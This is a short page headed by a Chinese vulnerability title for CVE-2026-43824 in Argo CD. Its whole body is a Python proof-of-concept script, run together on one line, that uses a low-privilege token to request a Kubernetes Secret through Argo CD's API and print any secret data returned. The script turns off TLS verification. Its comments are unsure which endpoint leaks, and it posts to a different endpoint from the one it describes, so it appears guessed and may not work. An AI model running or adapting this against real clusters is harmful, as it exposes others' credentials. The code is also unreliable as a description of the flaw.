CVE-2026-43824 Argo CD 敏感信息泄露漏洞

import requests import base64 # Exploit Title: Argo CD ServerSideDiff Secret Disclosure (CVE-2026-43824) # Description: PoC to demonstrate reading cleartext secrets via ServerSideDiff API def exploit_argocd_secret_leak(target_url, auth_token, app_name, resource_name): """ Attempts to trigger a ServerSideDiff to leak secrets. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Endpoint to trigger the diff or get resource details which might leak secrets # specific endpoint depends on API version, typically /api/v1/applications/{name}/resource/diff endpoint = f"{target_url}/api/v1/applications/{app_name}/resource" # Payload targeting a Kubernetes Secret payload = { "kind": "Secret", "name": resource_name, "namespace": "default" # Adjust as needed } try: print(f"[*] Attempting to read Secret: {resource_name} via Diff logic...") # In a real scenario, the specific endpoint causing the leak might be the diff endpoint # that returns the live state including the secret data. response = requests.post(endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: data = response.json() # Check if secret data is exposed in the response if 'data' in data or 'manifest' in data: print("[+] Potential secret data found in response:") print(data) else: print("[-] Secret not directly exposed in standard manifest view, try diff endpoint.") else: print(f"[!] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage TARGET = "https://argocd.example.com" TOKEN = "<YOUR_LOW_PRIV_TOKEN>" APP = "guestbook" # An application the user has access to RESOURCE = "db-secret" exploit_argocd_secret_leak(TARGET, TOKEN, APP, RESOURCE)